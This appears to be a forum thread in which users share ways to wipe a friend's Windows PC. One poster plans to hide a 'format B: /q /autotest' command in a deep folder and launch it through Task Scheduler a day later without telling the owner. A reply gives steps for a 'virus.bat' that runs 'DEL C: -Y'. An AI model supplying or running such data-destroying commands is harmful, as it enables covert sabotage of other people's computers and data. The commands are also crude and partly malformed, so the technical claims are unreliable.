[Rehan]

I think this will work.

"
format B: /q /autotest

"

I am not going to tell him i will just hide the file in a deep folder and will start it with task schedule after 1 day. That is best.

is not there anyway to test it online

---

1. open NOTEPAD

2. Fill With This Code

@echo off
DEL C: -Y

3. Save As All Files And Name With virus.bat

4. Run  

<!> Don't Forget to Backup All Fill your friend's PC before running this script or you can die being thrown by your friend

Are you sure it will not require any further click? Are you sure it will delete the partition running the windows?
As @rudra said, i think a file will not delete the partition running windows itself.